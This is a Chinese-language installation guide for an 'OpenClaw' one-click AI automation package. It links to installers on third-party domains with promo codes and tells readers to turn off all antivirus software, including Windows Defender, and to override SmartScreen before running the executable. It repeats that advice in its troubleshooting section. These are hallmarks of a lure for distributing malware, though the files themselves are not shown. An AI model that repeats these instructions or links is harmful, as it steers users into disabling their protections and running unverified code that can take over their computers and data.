🚀OpenClaw 一键安装包|可视化部署,规避复杂环境配置
适配系统:Windows10/11 64 位、macOS12+ Windows 版本:v3.1.0|macOS 版本:v2.7.9
OpenClaw 提供图形化一键部署方案✨,全程不需要命令行操作,不用手动搭建 Python、Node.js 运行环境,全部运行依赖内置在安装包内,普通用户花费 5 分钟就可以完成整套部署,零基础也能顺利搭建本地 AI 自动化工具💻。
Windows 安装包大小:45.8MB,建议使用浏览器自带下载工具或者迅雷获取文件,降低下载中断造成文件损坏的概率📥。
Windows3.1.0 下载地址:https://xiake.yun/api/download/package/28?promoCode=IV4E9B04A80C
macOS2.7.9 下载地址:https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C
⚠️核心前置提醒(保障安装成功的关键)
在执行安装、解压、运行程序之前,务必彻底关闭本机全部安全防护程序,包含 360 安全卫士、腾讯电脑管家、火绒、Windows Defender 实时防护。
OpenClaw 具备系统操控、本地文件读写、键鼠模拟的执行能力,容易被安全软件识别为风险程序。安全组件拦截、删除核心程序文件,是安装失败的主要诱因😥。项目属于开源项目,可以前往 GitHub 核验项目安全属性,关闭防护软件之后再进行操作。
📂第一步:获取对应平台一键安装包
- 根据自身操作系统,复制上方对应版本下载链接获取压缩包。
- 文件下载完成后,前往浏览器下载目录或者桌面定位压缩包。
🛠第二步:解压并启动程序,选定安装路径
Windows 端优先使用 WinRAR 或者 7‑Zip 解压,系统自带解压工具容易出现文件损坏。右键压缩包,选择解压到当前文件夹,得到Openclaw‑win文件夹。
打开解压完成的文件夹,双击Openclaw Windows 一键启动.exe,程序带有红色龙虾图标🦞,辨识度较高。如果 Windows SmartScreen 弹出拦截提示,点击更多信息 → 仍要运行即可正常启动。
程序启动后进入 OpenClaw 欢迎界面,点击底部「开始使用」,跳转安装路径选择页面。
📌路径硬性规则:安装路径必须为纯英文,禁止出现中文、空格以及¥、& 这类特殊符号;不建议安装到 C 盘,避免占用系统盘存储空间。
✅推荐路径示例:
D:\OpenClaw、E:\AI\OpenClaw❌错误路径示例:
D:\软件\OpenClaw、D:\小龙虾
勾选同意用户协议以及免责声明,点击开始安装。
macOS 平台解压 dmg 镜像文件后,将 OpenClaw 拖拽到应用程序目录,打开软件跟随页面指引完成路径配置🍎。
🤖第三步:全自动安装,无需人为干预
点击开始安装之后,程序自动执行全部部署逻辑,不需要人工进行任何操作,整体耗时 3‑5 分钟,耗时随电脑硬件配置浮动。部署过程不要手动关闭窗口,否则部署流程直接中断。
自动执行任务清单:
- 检测本机运行环境,自动补齐 Git、Node.js、Python 等缺失依赖
- 完成 OpenClaw 核心项目文件适配部署
- 安装浏览器控制组件、键鼠模拟组件,支撑自动化执行能力
- 生成本机专属.env 配置文件,完成初始化并生成桌面快捷方式
进度达到 100% 后,程序会自动唤起 OpenClaw 主程序✅。
⏱第四步:第一次启动,确认部署状态
安装结束自动跳转初始化页面,页面提示正在等待 Gateway 就绪...。第一次启动需要完成后台服务初始化,等待 1‑3 分钟属于正常现象,后续再次启动仅需数秒。
界面右上角显示Gateway 在线,就代表部署完成🎉。界面分区说明:
- 右上角:Gateway 服务状态、重启、日志按钮、可用 Tokens 额度,内置 28 万额度,可体验各类基础能力。
- 左侧:本地 / 渠道切换栏,可以新建对话,查看历史会话。
- 中间:对话窗口,默认 AI 智能助手,支持多模型切换、代码高亮。
- 底部:自然语言指令输入框,Enter 发送指令,Shift+Enter 换行;支持自动、普通模式切换。
🧪第五步:下发指令体验自动化能力
部署完成无需额外复杂配置,直接在底部输入框输入自然语言指令,OpenClaw 自动拆解任务,调用工具操控电脑完成操作。指令描述越具体,执行效果越精准✨。
新手测试指令,可直接复制使用
- 帮我整理 D 盘下载文件夹,按文件类型分类创建文件夹
- 打开记事本,输入 “OpenClaw 部署成功”,保存到桌面
- 查询当前电脑的磁盘可用空间,整理成文字告诉我
🛠常见问题快速排查
安装失败、程序启动无响应
确认杀毒防护软件已经完全关闭;关闭防护依旧异常,将安装包重新解压后再次执行安装。
Gateway 持续显示离线😫
- 确认安装路径全部为英文,不存在中文、特殊字符;
- 点击界面右上角重启按钮,重新拉起 Gateway 后台服务;
- 完全关闭程序,右键选择以管理员身份运行。
网络错误提示
第一次启动需要网络完成部分依赖初始化,确认本机网络正常,关闭代理、VPN 工具重试。
Tokens 额度不足提示
内置 28 万额度足够体验基础功能,额度耗尽后,可在界面充值入口补充,不会影响软件本体核心功能运行。
界面无法发送指令
等待 Gateway 状态变为在线之后再下发指令,如果依旧异常,重新执行安装部署。
💡使用建议
- 建议选择磁盘剩余空间≥5G 的盘符安装,预留空间用于后续技能插件扩展、模型缓存📂。
- 桌面快捷方式生成后,后续直接双击快捷方式启动,无需重复解压安装包。
- 如果需要对接飞书、微信等聊天渠道,部署完成后,进入主界面设置‑聊天渠道完成配置,即可在聊天软件下发任务指令。
- 版本更新时,直接下载最新安装包覆盖原有文件夹即可,不用卸载旧版本。
安装包下载地址汇总
Windows3.1.0 版本:https://xiake.yun/api/download/package/28?promoCode=IV4E9B04A80C macOS2.7.9 版本:https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C
后续会持续更新技能扩展、本地大模型接入、多渠道联动相关教程,可以持续关注项目动态。